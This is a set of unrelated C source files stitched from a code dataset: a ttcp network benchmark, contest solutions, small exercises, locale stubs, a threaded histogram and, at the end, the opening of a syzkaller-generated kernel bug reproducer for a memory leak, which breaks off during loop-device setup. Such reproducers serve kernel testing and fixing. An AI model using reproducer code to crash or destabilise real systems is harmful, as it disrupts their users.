* use getopt(3) for option processing, add -f and -T options.
* SGI IRIX 3.3 and 4.0 releases don't need #define SYSV.
*
* Distribution Status -
* Public Domain. Distribution Unlimited.
*
* ttcp.c,v 1.4 1999/02/10 19:57:04 joel Exp
*/
#ifndef lint
static char RCSid[] = "ttcp.c 1.4";
#endif
#define BSD43
/* #define BSD42 */
/* #define BSD41a */
/* #define SYSV */ /* required on SGI IRIX releases before 3.3 */
#include <stdio.h>
#include <signal.h>
#include <ctype.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h> /* struct timeval */
#if defined(SYSV)
#include <sys/times.h>
#include <sys/param.h>
struct rusage {
struct timeval ru_utime, ru_stime;
};
#define RUSAGE_SELF 0
#else
#include <sys/resource.h>
#endif
struct sockaddr_in sinme;
struct sockaddr_in sinhim;
struct sockaddr_in frominet;
int domain, fromlen;
int fd; /* fd of network socket */
int buflen = 8 * 1024; /* length of buffer */
char *buf; /* ptr to dynamic buffer */
int nbuf = 2 * 1024; /* number of buffers to send in sinkmode */
int bufoffset = 0; /* align buffer to this */
int bufalign = 16*1024; /* modulo this */
int udp = 0; /* 0 = tcp, !0 = udp */
int options = 0; /* socket options */
int one = 1; /* for 4.3 BSD style setsockopt() */
short port = 5001; /* TCP port number */
char *host; /* ptr to name of host */
int trans; /* 0=receive, !0=transmit mode */
int sinkmode = 0; /* 0=normal I/O, !0=sink/source mode */
int verbose = 0; /* 0=print basic info, 1=print cpu rate, proc
* resource usage. */
int nodelay = 0; /* set TCP_NODELAY socket option */
int b_flag = 0; /* use mread() */
int sockbufsize = 0; /* socket buffer size to use */
char fmt = 'K'; /* output format: k = kilobits, K = kilobytes,
* m = megabits, M = megabytes,
* g = gigabits, G = gigabytes */
int touchdata = 0; /* access data after reading */
struct hostent *addr;
extern int errno;
extern int optind;
extern char *optarg;
char Usage[] = "\
Usage: ttcp -t [-options] host [ < in ]\n\
ttcp -r [-options > out]\n\
Common options:\n\
-l ## length of bufs read from or written to network (default 8192)\n\
-u use UDP instead of TCP\n\
-p ## port number to send to or listen at (default 5001)\n\
-s -t: source a pattern to network\n\
-r: sink (discard) all data from network\n\
-A align the start of buffers to this modulus (default 16384)\n\
-O start buffers at this offset from the modulus (default 0)\n\
-v verbose: print more statistics\n\
-d set SO_DEBUG socket option\n\
-b ## set socket buffer size (if supported)\n\
-f X format for rate: k,K = kilo{bit,byte}; m,M = mega; g,G = giga\n\
Options specific to -t:\n\
-n## number of source bufs written to network (default 2048)\n\
-D don't buffer TCP writes (sets TCP_NODELAY socket option)\n\
Options specific to -r:\n\
-B for -s, only output full blocks as specified by -l (for TAR)\n\
-T \"touch\": access each byte as it's read\n\
";
char stats[128];
double nbytes; /* bytes on net */
unsigned long numCalls; /* # of I/O system calls */
double cput, realt; /* user, real time (seconds) */
void err();
void mes();
int pattern();
void prep_timer();
double read_timer();
int Nread();
int Nwrite();
void delay();
int mread();
char *outfmt();
void
sigpipe()
{
}
main(argc,argv)
int argc;
char **argv;
{
unsigned long addr_tmp;
int c;
if (argc < 2) goto usage;
while ((c = getopt(argc, argv, "drstuvBDTb:f:l:n:p:A:O:")) != -1) {
switch (c) {
case 'B':
b_flag = 1;
break;
case 't':
trans = 1;
break;
case 'r':
trans = 0;
break;
case 'd':
options |= SO_DEBUG;
break;
case 'D':
#ifdef TCP_NODELAY
nodelay = 1;
#else
fprintf(stderr,
"ttcp: -D option ignored: TCP_NODELAY socket option not supported\n");
#endif
break;
case 'n':
nbuf = atoi(optarg);
break;
case 'l':
buflen = atoi(optarg);
break;
case 's':
sinkmode = !sinkmode;
break;
case 'p':
port = atoi(optarg);
break;
case 'u':
udp = 1;
break;
case 'v':
verbose = 1;
break;
case 'A':
bufalign = atoi(optarg);
break;
case 'O':
bufoffset = atoi(optarg);
break;
case 'b':
#if defined(SO_SNDBUF) || defined(SO_RCVBUF)
sockbufsize = atoi(optarg);
#else
fprintf(stderr,
"ttcp: -b option ignored: SO_SNDBUF/SO_RCVBUF socket options not supported\n");
#endif
break;
case 'f':
fmt = *optarg;
break;
case 'T':
touchdata = 1;
break;
default:
goto usage;
}
}
if(trans) {
/* xmitr */
if (optind == argc)
goto usage;
bzero((char *)&sinhim, sizeof(sinhim));
host = argv[optind];
if (atoi(host) > 0 ) {
/* Numeric */
sinhim.sin_family = AF_INET;
#if defined(cray)
addr_tmp = inet_addr(host);
sinhim.sin_addr = addr_tmp;
#else
sinhim.sin_addr.s_addr = inet_addr(host);
#endif
} else {
if ((addr=gethostbyname(host)) == NULL)
err("bad hostname");
sinhim.sin_family = addr->h_addrtype;
bcopy(addr->h_addr,(char*)&addr_tmp, addr->h_length);
#if defined(cray)
sinhim.sin_addr = addr_tmp;
#else
sinhim.sin_addr.s_addr = addr_tmp;
#endif /* cray */
}
sinhim.sin_port = htons(port);
sinme.sin_port = 0; /* free choice */
} else {
/* rcvr */
sinme.sin_port = htons(port);
}
if (udp && buflen < 5) {
buflen = 5; /* send more than the sentinel size */
}
if ( (buf = (char *)malloc(buflen+bufalign)) == (char *)NULL)
err("malloc");
if (bufalign != 0)
buf +=(bufalign - ((int)buf % bufalign) + bufoffset) % bufalign;
if (trans) {
fprintf(stdout,
"ttcp-t: buflen=%d, nbuf=%d, align=%d/%d, port=%d",
buflen, nbuf, bufalign, bufoffset, port);
if (sockbufsize)
fprintf(stdout, ", sockbufsize=%d", sockbufsize);
fprintf(stdout, " %s -> %s\n", udp?"udp":"tcp", host);
} else {
fprintf(stdout,
"ttcp-r: buflen=%d, nbuf=%d, align=%d/%d, port=%d",
buflen, nbuf, bufalign, bufoffset, port);
if (sockbufsize)
fprintf(stdout, ", sockbufsize=%d", sockbufsize);
fprintf(stdout, " %s\n", udp?"udp":"tcp");
}
if ((fd = socket(AF_INET, udp?SOCK_DGRAM:SOCK_STREAM, 0)) < 0)
err("socket");
mes("socket");
if (bind(fd, &sinme, sizeof(sinme)) < 0)
err("bind");
#if defined(SO_SNDBUF) || defined(SO_RCVBUF)
if (sockbufsize) {
if (trans) {
if (setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sockbufsize,
sizeof sockbufsize) < 0)
err("setsockopt: sndbuf");
mes("sndbuf");
} else {
if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &sockbufsize,
sizeof sockbufsize) < 0)
err("setsockopt: rcvbuf");
mes("rcvbuf");
}
}
#endif
if (!udp) {
signal(SIGPIPE, sigpipe);
if (trans) {
/* We are the client if transmitting */
if (options) {
#if defined(BSD42)
if( setsockopt(fd, SOL_SOCKET, options, 0, 0) < 0)
#else /* BSD43 */
if( setsockopt(fd, SOL_SOCKET, options, &one, sizeof(one)) < 0)
#endif
err("setsockopt");
}
#ifdef TCP_NODELAY
if (nodelay) {
struct protoent *p;
p = getprotobyname("tcp");
if( p && setsockopt(fd, p->p_proto, TCP_NODELAY,
&one, sizeof(one)) < 0)
err("setsockopt: nodelay");
mes("nodelay");
}
#endif
if(connect(fd, &sinhim, sizeof(sinhim) ) < 0)
err("connect");
mes("connect");
} else {
/* otherwise, we are the server and
* should listen for the connections
*/
#if defined(ultrix) || defined(sgi)
listen(fd,1); /* workaround for alleged u4.2 bug */
#else
listen(fd,0); /* allow a queue of 0 */
#endif
if(options) {
#if defined(BSD42)
if( setsockopt(fd, SOL_SOCKET, options, 0, 0) < 0)
#else /* BSD43 */
if( setsockopt(fd, SOL_SOCKET, options, &one, sizeof(one)) < 0)
#endif
err("setsockopt");
}
fromlen = sizeof(frominet);
domain = AF_INET;
if((fd=accept(fd, &frominet, &fromlen) ) < 0)
err("accept");
{ struct sockaddr_in peer;
int peerlen = sizeof(peer);
if (getpeername(fd, (struct sockaddr_in *) &peer,
&peerlen) < 0) {
err("getpeername");
}
fprintf(stderr,"ttcp-r: accept from %s\n",
inet_ntoa(peer.sin_addr));
}
}
}
prep_timer();
errno = 0;
if (sinkmode) {
register int cnt;
if (trans) {
pattern( buf, buflen );
if(udp) (void)Nwrite( fd, buf, 4 ); /* rcvr start */
while (nbuf-- && Nwrite(fd,buf,buflen) == buflen)
nbytes += buflen;
if(udp) (void)Nwrite( fd, buf, 4 ); /* rcvr end */
} else {
if (udp) {
while ((cnt=Nread(fd,buf,buflen)) > 0) {
static int going = 0;
if( cnt <= 4 ) {
if( going )
break; /* "EOF" */
going = 1;
prep_timer();
} else {
nbytes += cnt;
}
}
} else {
while ((cnt=Nread(fd,buf,buflen)) > 0) {
nbytes += cnt;
}
}
}
} else {
register int cnt;
if (trans) {
while((cnt=read(0,buf,buflen)) > 0 &&
Nwrite(fd,buf,cnt) == cnt)
nbytes += cnt;
} else {
while((cnt=Nread(fd,buf,buflen)) > 0 &&
write(1,buf,cnt) == cnt)
nbytes += cnt;
}
}
if(errno) err("IO");
(void)read_timer(stats,sizeof(stats));
if(udp&&trans) {
(void)Nwrite( fd, buf, 4 ); /* rcvr end */
(void)Nwrite( fd, buf, 4 ); /* rcvr end */
(void)Nwrite( fd, buf, 4 ); /* rcvr end */
(void)Nwrite( fd, buf, 4 ); /* rcvr end */
}
if( cput <= 0.0 ) cput = 0.001;
if( realt <= 0.0 ) realt = 0.001;
fprintf(stdout,
"ttcp%s: %.0f bytes in %.2f real seconds = %s/sec +++\n",
trans?"-t":"-r",
nbytes, realt, outfmt(nbytes/realt));
if (verbose) {
fprintf(stdout,
"ttcp%s: %.0f bytes in %.2f CPU seconds = %s/cpu sec\n",
trans?"-t":"-r",
nbytes, cput, outfmt(nbytes/cput));
}
fprintf(stdout,
"ttcp%s: %d I/O calls, msec/call = %.2f, calls/sec = %.2f\n",
trans?"-t":"-r",
numCalls,
1024.0 * realt/((double)numCalls),
((double)numCalls)/realt);
fprintf(stdout,"ttcp%s: %s\n", trans?"-t":"-r", stats);
if (verbose) {
fprintf(stdout,
"ttcp%s: buffer address %#x\n",
trans?"-t":"-r",
buf);
}
exit(0);
usage:
fprintf(stderr,Usage);
exit(1);
}
void
err(s)
char *s;
{
fprintf(stderr,"ttcp%s: ", trans?"-t":"-r");
perror(s);
fprintf(stderr,"errno=%d\n",errno);
exit(1);
}
void
mes(s)
char *s;
{
fprintf(stderr,"ttcp%s: %s\n", trans?"-t":"-r", s);
}
pattern( cp, cnt )
register char *cp;
register int cnt;
{
register char c;
c = 0;
while( cnt-- > 0 ) {
while( !isprint((c&0x7F)) ) c++;
*cp++ = (c++&0x7F);
}
}
char *
outfmt(b)
double b;
{
static char obuf[50];
switch (fmt) {
case 'G':
sprintf(obuf, "%.2f GB", b / 1024.0 / 1024.0 / 1024.0);
break;
default:
case 'K':
sprintf(obuf, "%.2f KB", b / 1024.0);
break;
case 'M':
sprintf(obuf, "%.2f MB", b / 1024.0 / 1024.0);
break;
case 'g':
sprintf(obuf, "%.2f Gbit", b * 8.0 / 1024.0 / 1024.0 / 1024.0);
break;
case 'k':
sprintf(obuf, "%.2f Kbit", b * 8.0 / 1024.0);
break;
case 'm':
sprintf(obuf, "%.2f Mbit", b * 8.0 / 1024.0 / 1024.0);
break;
}
return obuf;
}
static struct timeval time0; /* Time at which timing started */
static struct rusage ru0; /* Resource utilization at the start */
static void prusage();
static void tvadd();
static void tvsub();
static void psecs();
#if defined(SYSV)
/*ARGSUSED*/
static
getrusage(ignored, ru)
int ignored;
register struct rusage *ru;
{
struct tms buf;
times(&buf);
/* Assumption: HZ <= 2147 (LONG_MAX/1000000) */
ru->ru_stime.tv_sec = buf.tms_stime / HZ;
ru->ru_stime.tv_usec = ((buf.tms_stime % HZ) * 1000000) / HZ;
ru->ru_utime.tv_sec = buf.tms_utime / HZ;
ru->ru_utime.tv_usec = ((buf.tms_utime % HZ) * 1000000) / HZ;
}
/*ARGSUSED*/
static
gettimeofday(tp, zp)
struct timeval *tp;
struct timezone *zp;
{
tp->tv_sec = time(0);
tp->tv_usec = 0;
}
#endif /* SYSV */
/*
* P R E P _ T I M E R
*/
void
prep_timer()
{
gettimeofday(&time0, (struct timezone *)0);
getrusage(RUSAGE_SELF, &ru0);
}
/*
* R E A D _ T I M E R
*
*/
double
read_timer(str,len)
char *str;
{
struct timeval timedol;
struct rusage ru1;
struct timeval td;
struct timeval tend, tstart;
char line[132];
getrusage(RUSAGE_SELF, &ru1);
gettimeofday(&timedol, (struct timezone *)0);
prusage(&ru0, &ru1, &timedol, &time0, line);
(void)strncpy( str, line, len );
/* Get real time */
tvsub( &td, &timedol, &time0 );
realt = td.tv_sec + ((double)td.tv_usec) / 1000000;
/* Get CPU time (user+sys) */
tvadd( &tend, &ru1.ru_utime, &ru1.ru_stime );
tvadd( &tstart, &ru0.ru_utime, &ru0.ru_stime );
tvsub( &td, &tend, &tstart );
cput = td.tv_sec + ((double)td.tv_usec) / 1000000;
if( cput < 0.00001 ) cput = 0.00001;
return( cput );
}
static void
prusage(r0, r1, e, b, outp)
register struct rusage *r0, *r1;
struct timeval *e, *b;
char *outp;
{
struct timeval tdiff;
register time_t t;
register char *cp;
register int i;
int ms;
t = (r1->ru_utime.tv_sec-r0->ru_utime.tv_sec)*100+
(r1->ru_utime.tv_usec-r0->ru_utime.tv_usec)/10000+
(r1->ru_stime.tv_sec-r0->ru_stime.tv_sec)*100+
(r1->ru_stime.tv_usec-r0->ru_stime.tv_usec)/10000;
ms = (e->tv_sec-b->tv_sec)*100 + (e->tv_usec-b->tv_usec)/10000;
#define END(x) {while(*x) x++;}
#if defined(SYSV)
cp = "%Uuser %Ssys %Ereal %P";
#else
#if defined(sgi) /* IRIX 3.3 will show 0 for %M,%F,%R,%C */
cp = "%Uuser %Ssys %Ereal %P %Mmaxrss %F+%Rpf %Ccsw";
#else
cp = "%Uuser %Ssys %Ereal %P %Xi+%Dd %Mmaxrss %F+%Rpf %Ccsw";
#endif
#endif
for (; *cp; cp++) {
if (*cp != '%')
*outp++ = *cp;
else if (cp[1]) switch(*++cp) {
case 'U':
tvsub(&tdiff, &r1->ru_utime, &r0->ru_utime);
sprintf(outp,"%d.%01d", tdiff.tv_sec, tdiff.tv_usec/100000);
END(outp);
break;
case 'S':
tvsub(&tdiff, &r1->ru_stime, &r0->ru_stime);
sprintf(outp,"%d.%01d", tdiff.tv_sec, tdiff.tv_usec/100000);
END(outp);
break;
case 'E':
psecs(ms / 100, outp);
END(outp);
break;
case 'P':
sprintf(outp,"%d%%", (int) (t*100 / ((ms ? ms : 1))));
END(outp);
break;
#if !defined(SYSV)
case 'W':
i = r1->ru_nswap - r0->ru_nswap;
sprintf(outp,"%d", i);
END(outp);
break;
case 'X':
sprintf(outp,"%d", t == 0 ? 0 : (r1->ru_ixrss-r0->ru_ixrss)/t);
END(outp);
break;
case 'D':
sprintf(outp,"%d", t == 0 ? 0 :
(r1->ru_idrss+r1->ru_isrss-(r0->ru_idrss+r0->ru_isrss))/t);
END(outp);
break;
case 'K':
sprintf(outp,"%d", t == 0 ? 0 :
((r1->ru_ixrss+r1->ru_isrss+r1->ru_idrss) -
(r0->ru_ixrss+r0->ru_idrss+r0->ru_isrss))/t);
END(outp);
break;
case 'M':
sprintf(outp,"%d", r1->ru_maxrss/2);
END(outp);
break;
case 'F':
sprintf(outp,"%d", r1->ru_majflt-r0->ru_majflt);
END(outp);
break;
case 'R':
sprintf(outp,"%d", r1->ru_minflt-r0->ru_minflt);
END(outp);
break;
case 'I':
sprintf(outp,"%d", r1->ru_inblock-r0->ru_inblock);
END(outp);
break;
case 'O':
sprintf(outp,"%d", r1->ru_oublock-r0->ru_oublock);
END(outp);
break;
case 'C':
sprintf(outp,"%d+%d", r1->ru_nvcsw-r0->ru_nvcsw,
r1->ru_nivcsw-r0->ru_nivcsw );
END(outp);
break;
#endif /* !SYSV */
}
}
*outp = '\0';
}
static void
tvadd(tsum, t0, t1)
struct timeval *tsum, *t0, *t1;
{
tsum->tv_sec = t0->tv_sec + t1->tv_sec;
tsum->tv_usec = t0->tv_usec + t1->tv_usec;
if (tsum->tv_usec > 1000000)
tsum->tv_sec++, tsum->tv_usec -= 1000000;
}
static void
tvsub(tdiff, t1, t0)
struct timeval *tdiff, *t1, *t0;
{
tdiff->tv_sec = t1->tv_sec - t0->tv_sec;
tdiff->tv_usec = t1->tv_usec - t0->tv_usec;
if (tdiff->tv_usec < 0)
tdiff->tv_sec--, tdiff->tv_usec += 1000000;
}
static void
psecs(l,cp)
long l;
register char *cp;
{
register int i;
i = l / 3600;
if (i) {
sprintf(cp,"%d:", i);
END(cp);
i = l % 3600;
sprintf(cp,"%d%d", (i/60) / 10, (i/60) % 10);
END(cp);
} else {
i = l;
sprintf(cp,"%d", i / 60);
END(cp);
}
i %= 60;
*cp++ = ':';
sprintf(cp,"%d%d", i / 10, i % 10);
}
/*
* N R E A D
*/
Nread( fd, buf, count )
int fd;
void *buf;
int count;
{
struct sockaddr_in from;
int len = sizeof(from);
register int cnt;
if( udp ) {
cnt = recvfrom( fd, buf, count, 0, &from, &len );
numCalls++;
} else {
if( b_flag )
cnt = mread( fd, buf, count ); /* fill buf */
else {
cnt = read( fd, buf, count );
numCalls++;
}
if (touchdata && cnt > 0) {
register int c = cnt, sum;
register char *b = buf;
while (c--)
sum += *b++;
}
}
return(cnt);
}
/*
* N W R I T E
*/
Nwrite( fd, buf, count )
int fd;
void *buf;
int count;
{
register int cnt;
if( udp ) {
again:
cnt = sendto( fd, buf, count, 0, &sinhim, sizeof(sinhim) );
numCalls++;
if( cnt<0 && errno == ENOBUFS ) {
printf("ttcp: out of buffers -- delaying\n"); /*JRS*/
delay(18000);
errno = 0;
goto again;
}
} else {
cnt = write( fd, buf, count );
numCalls++;
}
return(cnt);
}
void
delay(microseconds)
unsigned int microseconds;
{
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = microseconds;
(void)select( 1, (char *)0, (char *)0, (char *)0, &tv );
}
/*
* M R E A D
*
* This function performs the function of a read(II) but will
* call read(II) multiple times in order to get the requested
* number of characters. This can be necessary because
* network connections don't deliver data with the same
* grouping as it is written with. Written by Robert S. Miles, BRL.
*/
int
mread(fd, bufp, n)
int fd;
register char *bufp;
unsigned n;
{
register unsigned count = 0;
register int nread;
do {
nread = read(fd, bufp, n-count);
numCalls++;
if(nread < 0) {
perror("ttcp_mread");
return(-1);
}
if(nread == 0)
return((int)count);
count += (unsigned)nread;
bufp += nread;
} while(count < n);
return((int)count);
}
|
the_stack_data/218893590.c | #include<stdio.h>
#include<math.h>
int s[10000];
int ref[5][5]=
{
{ 0, 0, 0, 0, 0, },
{ 0, 1, 2, 3, 4, },
{ 0, 2, -1, 4, -3, },
{ 0, 3, -4, -1, 2, },
{ 0, 4, 3, -2, -1 }
};
int multiply(int a, int b)
{
int temp=a*b;
int sign=temp/(abs(temp));
a=abs(a);
b=abs(b);
temp=ref[a][b];
return (temp*sign);
}
int rem(int result, long long x)
{
int temp=x%4;
int i,ans=1;
for(i=0;i<temp;i++)
ans=multiply(ans,result);
return ans;
}
int transform(char c)
{
if(c=='i')
return 2;
else if(c=='j')
return 3;
else
return 4;
}
int main()
{
int t;
scanf("%d",&t);
int it;
//fflush(stdin);
for(it=1;it<=t;it++)
{
int mul=1;
long long x,i,l,j;
scanf("%lld",&l);
scanf("%lld",&x);
int flag1=0,flag2=0,first;
//fflush(stdin);
char ch[l];
scanf("%s",ch);
for(i=0;i<l;i++)
{
s[i]=transform(ch[i]);
mul=multiply(mul,s[i]);
if(mul==2&&flag1==0)
{
flag1=1;
first=i;
}
if(mul==-2)
flag2=1;
}
if(mul==1&&flag1==0)
{
printf("Case #%d: NO\n",it);
continue;
}
if(mul==-1&&flag2==0&&flag1==0)
{
printf("Case #%d: NO\n",it);
continue;
}
int plier,resmul=mul;
if(mul==1)
plier=1;
else if(mul==-1)
plier=2;
else
plier=4;
long long ix=0;
mul=resmul;
if(flag1==0)
{
ix=1;
for(i=0;i+(ix*l)<5*l&&i+(ix*l)<x*l;i++)
{
mul=multiply(mul,s[i]);
//printf("%d ",mul);
if(mul==2)
{
flag1=1;
first=i;
//printf("%d ",ix);
break;
}
if(i==l-1)
{
ix++;
i=-1;
}
}
}
if(flag1==0)
{
printf("Case #%d: NO\n",it);
//for(i=0;i<l;i++)
// printf("%d ",s[i]);
//printf("\n");
continue;
}
mul=1;
j=first+1;
if(j==l)
{
j=0;
ix++;
}
int flag=3;
for(;(j+(ix*l)<l*x);j++)
{
//printf("yay");
mul=multiply(mul,s[j]);
if(j==l-1)
{
//printf("%d %d\n",mul,j);
j=-1;
ix++;
if(flag==4)
{
mul=multiply(mul,rem(resmul,x-ix));
break;
}
}
if(mul==3&&flag==3)
{
mul=1;
flag=4;
//printf("\n%d %d\n",ix,j);
//plier=x-1;
}
}
if((mul==4&&flag==4))
printf("Case #%d: YES\n",it);
else
{
printf("Case #%d: NO\n",it); //first,l
continue;
}
}
return 0;
}
|
the_stack_data/156394340.c | #include <stdio.h>
int main(){
int C;
char T[2];
double M[12][12], soma = 0.0;
scanf("%d", &C);
scanf("%s", &T);
for(int i = 0; i<12; i++){
for(int j = 0; j<12; j++){
scanf("%lf", &M[i][j]);
if(j == C)
soma += M[i][j];
}
}
if(T[0] == 'S')
printf("%.1lf\n", soma);
else if(T[0] == 'M')
printf("%.1lf\n", soma/12.0);
return 0;
} |
the_stack_data/695078.c | #include <stdio.h>
int main() {
float M[12][12], soma=0;
int i, j, divi=0, k=0, l=11;
char O;
scanf("%s", &O);
for(i=0;i<12;i++){
for(j=0;j<12;j++){
scanf("%f", &M[i][j]);
if(i>k && j>l){
soma+=M[i][j];
divi++;
}
}
l--;
}
if(O=='S'){
printf("%.1f\n", soma);
}else if(O=='M'){
printf("%.1f\n", soma/divi);
}
return 0;
}
|
the_stack_data/112877.c | #define _POSIX_C_SOURCE 200112L
#include <errno.h>
#include <sys/mman.h>
#include <time.h>
#include <string.h>
#include <fcntl.h>
static void randname(char *buf) {
struct timespec ts;
clock_gettime(CLOCK_REALTIME, &ts);
long r = ts.tv_nsec;
for (int i = 0; i < 6; ++i) {
buf[i] = 'A'+(r&15)+(r&16)*2;
r >>= 5;
}
}
int create_anonymous_file(void) {
int retries = 100;
do {
char name[] = "/mrsh-XXXXXX";
randname(name + strlen(name) - 6);
--retries;
int fd = shm_open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
if (fd >= 0) {
shm_unlink(name);
return fd;
}
} while (retries > 0 && errno == EEXIST);
return -1;
}
|
the_stack_data/218892618.c | // Replace this file with the Solution for Project Euler Problem #045
// Project Euler Problem: #045
// Repository Maintainer: https://www.github.com/theSwapnilSaste
// File Creation Date : 14th March 2020
// Solution Author : **** Insert Your Name/Github Handle Here ***
// Solution added on : **** Insert Date here ****
// Problem Status : Complete/Incomplete/Need Improvement etc.
// Space for Notes
// .
// .
|
the_stack_data/176704734.c | /*
* Copyright (c) 2021 Samsung Electronics Co., Ltd All Rights Reserved
*
* Licensed under the Apache License, Version 2.0 (the License);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an AS IS BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <string.h>
#include <inttypes.h>
//from RPI4, Locale=en_US Language=en Script= Country=US Variant= LCID=1033
const char *dummyCulture = "en-US";
int32_t i18n_ulocale_canonicalize(const char *locale_id, char *name, int32_t name_capacity)
{
strcpy(name, "en_US");
return 1;
}
int i18n_ulocale_get_language(const char *locale_id, char *language, int32_t language_capacity, int32_t *buf_size_language)
{
strcpy(language, "en");
return 0;
}
int32_t i18n_ulocale_get_script(const char *locale_id, char *script, int32_t script_capacity)
{
return -1;
}
int32_t i18n_ulocale_get_country(const char *locale_id, char *country, int32_t country_capacity, int *error)
{
strcpy(country, "US");
return 1;
}
int32_t i18n_ulocale_get_variant(const char *locale_id, char *variant, int32_t variant_capacity)
{
return -1;
}
uint32_t i18n_ulocale_get_lcid(const char *locale_id)
{
return 1033;
}
int i18n_ulocale_get_default(const char **locale)
{
*locale = dummyCulture;
return 0;
}
|
the_stack_data/23844.c | #include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
int minval, maxval, bincount, n, output[20];
// writes the bins that is stored in array to the file
void constructOutput(FILE* outfile){
for(int i = 0; i < bincount; i++){
printf("bin %d = %d\n", i + 1, output[i]);
fprintf(outfile, "bin%d: %d\n", (i + 1), output[i]);
}
fclose(outfile);
}
void *runner (void *param){
const char* filename = (char *)param; // takes filename from parameter
int w = (maxval - minval) / bincount;
//reads the values from the file and classifies them.
FILE * outfile = fopen(filename, "r");
double num;
double x = fscanf(outfile, "%lf", &num);
while(x != EOF){
printf("Number %lf from %s\n", num, filename);
if(num == maxval){
output[bincount - 1]++;
}
else{
output[(int)((num - minval) / w)]++;
}
x = fscanf(outfile, "%lf", &num);
}
pthread_exit(0);
}
int main(int argc, char *argv[]){
//warning for too little number of arguments
if (argc < 6) {
fprintf(stderr, "usage: ./thistogram <minval, maxval, bincount, n, file1 ... fileN output>\n");
return -1;
}
minval = atoi(argv[1]);
maxval = atoi(argv[2]);
bincount = atoi(argv[3]);
for(int i = 0; i < bincount; i++)
output[i] = 0;
n = atoi(argv[4]);
char* files[n];
pthread_t tid[n]; // id of the created thread
pthread_attr_t attr[n]; // set of thread attributes
//create threads for each file
for(int i = 0; i < n; i++){
files[i] = argv[i + 5];
pthread_attr_init(attr + i);
pthread_create(tid + i, attr + i, runner, files[i]);
}
// wait for threads
for(int i = 0; i < n; i++){
pthread_join(*(tid + i), NULL);
}
//write output to the file named "toutput"
for(int i = 0; i < bincount; i++)
printf("%d\n", output[i]);
char* outfilename = argv[n + 5];
FILE * outputfile = fopen(outfilename, "w+");
constructOutput(outputfile);
}
|
the_stack_data/11075383.c | // memory leak in generic_parse_monolithic
// https://syzkaller.appspot.com/bug?id=86dc6632faaca40133ab
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/loop.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct fs_image_segment {
void* data;
uintptr_t size;
uintptr_t offset;
};
#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)
#define sys_memfd_create 319
static unsigned long fs_image_segment_check(unsigned long size,
unsigned long nsegs,
struct fs_image_segment* segs)
{
if (nsegs > IMAGE_MAX_SEGMENTS)
nsegs = IMAGE_MAX_SEGMENTS;
for (size_t i = 0; i < nsegs; i++) {
if (segs[i].size > IMAGE_MAX_SIZE)
segs[i].size = IMAGE_MAX_SIZE;
segs[i].offset %= IMAGE_MAX_SIZE;
if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
if (size < segs[i].offset + segs[i].offset)
size = segs[i].offset + segs[i].offset;
}
if (size > IMAGE_MAX_SIZE)
size = IMAGE_MAX_SIZE;
return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs,
struct fs_image_segment* segs,
const char* loopname, int* memfd_p, int* loopfd_p)
{
int err = 0, loopfd = -1;
size = fs_image_segment_check(size, nsegs, segs);
int memfd = syscall(sys_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (ftruncate(memfd, size)) {
err = errno;
goto error_close_memfd;
}
for (size_t i = 0; i < nsegs; i++) {
if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
}
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
*memfd_p = memfd;
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile unsigned long size,
volatile unsigned long nsegs,
volatile long segments, volatile long flags,
volatile long optsarg)
{
struct fs_image_segment* segs = (struct fs_image_segment*)segments;
int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
